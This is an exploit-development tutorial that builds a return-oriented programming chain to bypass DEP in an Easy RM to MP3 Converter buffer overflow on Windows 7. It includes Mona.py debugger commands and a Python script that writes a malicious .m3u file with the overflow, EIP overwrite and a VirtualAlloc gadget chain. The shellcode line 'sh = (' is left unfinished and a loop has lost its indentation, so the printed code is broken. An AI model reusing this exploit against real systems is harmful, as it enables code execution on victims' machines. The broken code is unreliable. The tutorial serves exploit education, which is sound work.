Easy RM to MP3 Converter Return Oriented Programming Exploit on Windows 7

On our previous work, we studied exploiting Easy RM to MP3 Converter program. We overcame the protection mechanism of Address Space Layout Randomization (ASLR) by selecting a library module which is not subject to be re-based and which doesn’t move. But we had to manually turn off Data Execution Prevention (DEP) mechanism on Windows, in order our sample to run successfully.

Now, enter the following command on your command prompt with Admin rights and reboot your computer.

bcdedit.exe /set {current} nx AlwaysOn

After your computer turns on, try opening attack2.m3u file which exploited the program to call calc.exe.

Easy RM to MP3 Converter

Unfortunately nothing comes up. DEP blocks our shell code executing and thus prevents calc.exe running.

So, what can we do in this case when we are not allowed any piece of code running. It is Return Oriented Programming. The idea is using directly the Assembly pieces of codes from the program and system itself. Each such Assembly piece of code (called gadget) finishes with a Ret instruction in order to get back ESP, thus the method is called Return Oriented Programming. It is just like bringing puzzle pieces together in order to come up with a whole picture. I should warn you, this is definitely not an easy job.

Ok, on this sample, our objective is going to be to call VirtualAlloc function with our Assembly gadgets. This function allocates re-writable memory space for us where we can run our shellcode. We need to understand what parameters this function requires and how the image of registers on memory should look like.

Let’s refer to MSDN definition of VirtualAlloc function first:

Structure:                               Parameters:
LPVOID WINAPI VirtualAlloc(          =>    A pointer to VirtualAlloc()
  _In_opt_  LPVOID lpAddress,        =>    Return Address (Redirect Execution to ESP)
  _In_      SIZE_T dwSize,           =>    dwSize (0x1)
  _In_      DWORD flAllocationType,  =>    flAllocationType (0x1000)
  _In_      DWORD flProtect          =>    flProtect (0x40)

The image of registers on memory should be as follows:

EAX 90909090 => Nop ECX 00000040 => flProtect EDX 00001000 => flAllocationType EBX 00000001 => dwSize ESP ???????? => Leave as is EBP ???????? => Call to ESP (jmp, call, push,..) ESI ???????? => PTR to VirtualAlloc – DWORD PTR of 0x1001b059 EDI 1001b059 => ROP-Nop same as EIP

After having this image on our registers and then finally calling PUSHAD instruction (which pushes all general purpose registers), we are going to mimic calling VirtualAlloc function.

Time to ROP’nRoll

The best way of learning is directly diving into the business. First, let’s remember where exactly our program crashed and how we managed to call interrupt call:

prefix = 'A' * (20000 + 15*400 + 22*4)
eip = '\x59\xb0\x01\x10' #note that I directly addressed ret of push esp + ret instruction set.
offsetFFFF = 'FFFF'
nopsled = '\x90' * 16
int3 = '\xCC'
padding = 'F' * (30000 - len(prefix) - 4 -4 -16 -1)
attack = prefix + eip + offsetFFFF+ nopsled + int3 + padding
print attack

Prepare again the input file as follows and drag&drop it into Windows platform:

chmod a+x attack1

./attack1 > attack1.m3u

cp attack1.m3u ~/Desktop

Now, on Immunity Debugger platform, open Easy RM to MP3 Converter program and click run. On Immunity Debugger, input into the text field “u 0x1001b059”, select that address location and then click on F2 button to insert a break point there.

Immunity Debugger

Now load attack1.m3u file, see that the program hits the breakpoint and then click on F8 to step over the execution of the program until it reaches INT3 interrupt. This skill is going to be very important in building our ROP chain.

Now re-run Immunity Debugger with Admin rights, set the same breakpoint and reload attack1.m3u file. Now, when the program halts at the breakpoint run the following command (You must have installed Mona.py plugin for Immunity Debugger before as we explained on our first study) :

!mona modules

You will remember that the only module which doesn’t move is MSRMfilter03.dll.

Mona Modules

Now run the following command to get Mona.py into action:

!mona ropfunc -m MSRMfilter03.dll -cpb ‘\x00\x09\x0a’

Mona Rop functions

This function created some ROP function offers as a log file. Here we learn that the VirtualAlloc function is located at address 0x10032078.

The final phase in the enumeration process is to have mona generate a list of ROP-Gadgets based on the module:

!mona rop -m MSRMfilter03.dll -cpb ‘\x00\x09\x0a’

Mona Rop

Mona produced all the available ROP gadgets at our “~\Documents\Logs\RM2MP3Converter\ directory especially in rop.txt file. Now, we have all the puzzle pieces, it is time connect them to reach the memory register image we described above.

At this point, I want to share all the running code at once. The code is self explanatory. Please try to understand the techniques I implemented when constructing ROP sequences. You probably will need to study your own running code on debugger by inserting breakpoint and stepping over as I described above.

gedit buildrop

# -*- coding: utf-8 -*-
import struct,sys
# Hedef Register: EDI => ROP-Nop
# EDI'ye RET yönerge adresini ata
rop = struct.pack('<L',0x1001c05e) # POP EDI # RETN
rop += struct.pack('<L',0x1001b059) # ROP-Nop
#Hedef Register: EDX -> 0x1000
#Öncelikle EDX'e sabit bir değer (C483FFFE) ata, ardından
#EBX'e uygun bir değer (3b7c1002) ata, öyle ki
#ADD işleminin ardından toplam 0x1000 değerine ulaşsın
rop += struct.pack('<L',0x1001d4c3) # MOV EDX,C483FFFE # OR AL,5F # POP ESI # POP EBP # OR EAX,FFFFFFFF # POP EBX # RETN
rop += struct.pack('<L',0x1001b059) # padding for POP ESI
rop += struct.pack('<L',0x1001b059) # padding for POP EBP
rop += struct.pack('<L',0x3b7c1002) # ebx+edx => 0x1000 flAllocationType
rop += struct.pack('<L',0x10024ece) # ADD EDX,EBX # POP EBX # RETN 10
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
#Hedef Register: ESI -> VirtualAlloc
#VirtualAlloc fonksiyonunun 0x10032078 adresi tarafından gösterildiğini biliyoruz
#Ancak bu gösterge tarafından belirtilen konumun gerçek DWORD değerine ihtiyacımız var
#Öncelikle VirtualAlloc gösterge değerini EAX'a atıyoruz
#Ardından bu göstergenin konumladığı adresteki veriyi, yine EAX'a yüklüyoruz
#Nihayet EAX'taki bu değeri yığına push edip, pop ile ESI'ye atanmasını sağlıyoruz
rop += struct.pack('<L',0x1002a21d) # POP EAX # RETN
rop += struct.pack('<L',0x10032078) # kernel32.virtualalloc
rop += struct.pack('<L',0x1002e0c8) # MOV EAX,DWORD PTR DS:[EAX] # RETN
rop += struct.pack('<L',0x1001a788) # PUSH EAX # POP ESI # POP EBP # MOV EAX,1 # POP EBX # POP ECX # RETN
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
rop += struct.pack('<L',0x1001b059) # Rop-Nop to compensate
#Hedef Register: ECX -> 0x40
#Öncelikle ECX'e 0xffffffff değerini ata (bu -1 değerini temsil etmektedir)
#Ardından bu değeri döngü ile 65 defa artırarak 0x40 değerine ulaş
#Farkındayım, biraz amele bir yöntem ama çalışan bir yöntem
rop += struct.pack('<L',0x100308be) # POP ECX # RETN
rop += struct.pack('<L',0xffffffff) # will become 0x40
for x in range(65):
rop += struct.pack('<L',0x1002dd3e) # INC ECX # AND EAX,8 # RETN
#Target Register: EBP ->; Redirect Execution flow to ESP
#Pop into EBP register the address of JMP ESP
#In other words PUSH ESP # RETN
rop += struct.pack('<L',0x1002821b) # POP EBP # RETN
rop += struct.pack('<L',0X1001B058) # CALL ESP
#Hedef Register: EBX -> 0x1
#Öncelikle EBX' 0xffffffff değerini ata
#Ardından bu değeri iki defa artırarak 0x1 değerine ulaş
rop += struct.pack('<L',0x10021558) # POP EBX # RETN
rop += struct.pack('<L',0xffffffff) # will be 0x1
rop += struct.pack('<L',0x1002d993) # INC EBX # FPATAN # RETN
rop += struct.pack('<L',0x1002d993) # INC EBX # FPATAN # RETN
#Target Register: EAX -> Fill with a regular NOP
rop += struct.pack('<L',0x1002a21d) # POP EAX # RETN
rop += struct.pack('<L',0x90909090) # Rop-Nop to compensate
#PUSH ALL ile tüm genel amaçlı registerları stack yığınına itele
#Bu aşama biraz karmaşıktı, Mona herhangi bir PUSHAD + RET yönergesi önermedi
#Önerdikleri ise bellekte Adres Erişim Hatası vermekteydi
#Kendim el ile uygun bir PUSHAD yönergesi tespit etmek zorundaydım
#Immunity Debugger'da adımlarken, fareye sağ tıkladım ve aşağıdaki komutları seçtim
#Search For -> Command  (Ara -> Komut)
#Komut olarak PUSHAD seçtim ve nihayet başarılı bir şekilde çalışan bir PUSHAD dizini buldum
rop += struct.pack('<L',0x100184F0) # PUSHAD # JNB SHORT # JMP AH,30 # JB SHORT # CMP AH,60 # JNB SHORT # MOV EAX,1 # RETN
sh = (
prefix = 'A' * (20000 + 15*400 + 22*4)
eip = '\x59\xb0\x01\x10'
offsetFFFF = 'F' * 4
nopsled = '\x90' * 16
padding = 'F' * (30000 - len(prefix) - 4 - 4 - 16 - len(rop) - len(sh))
attack = prefix + eip + offsetFFFF + rop + nopsled + sh + padding
print attack

Immunity Debugger

At final scene, just before PUSHAD call, we obtained the image of registers we targeted.

Now, when you prepare the input file and load with Easy RM to MP3 Converter, you’ll get your shellcode run even on DEP enabled environment.

chmod a+x buildrop

./buildrop > buildrop.m3u

cp buildrop.m3u ~/Desktop

Exploit Running


1) Anyone who is interested in ROP should definitely study the tutorials by corelanc0d3r who is the brain behind Mona.py.

2) http://www.fuzzysecurity.com/tutorials/expDev/7.html

3) http://users.suse.com/~krahmer/no-nx.pdf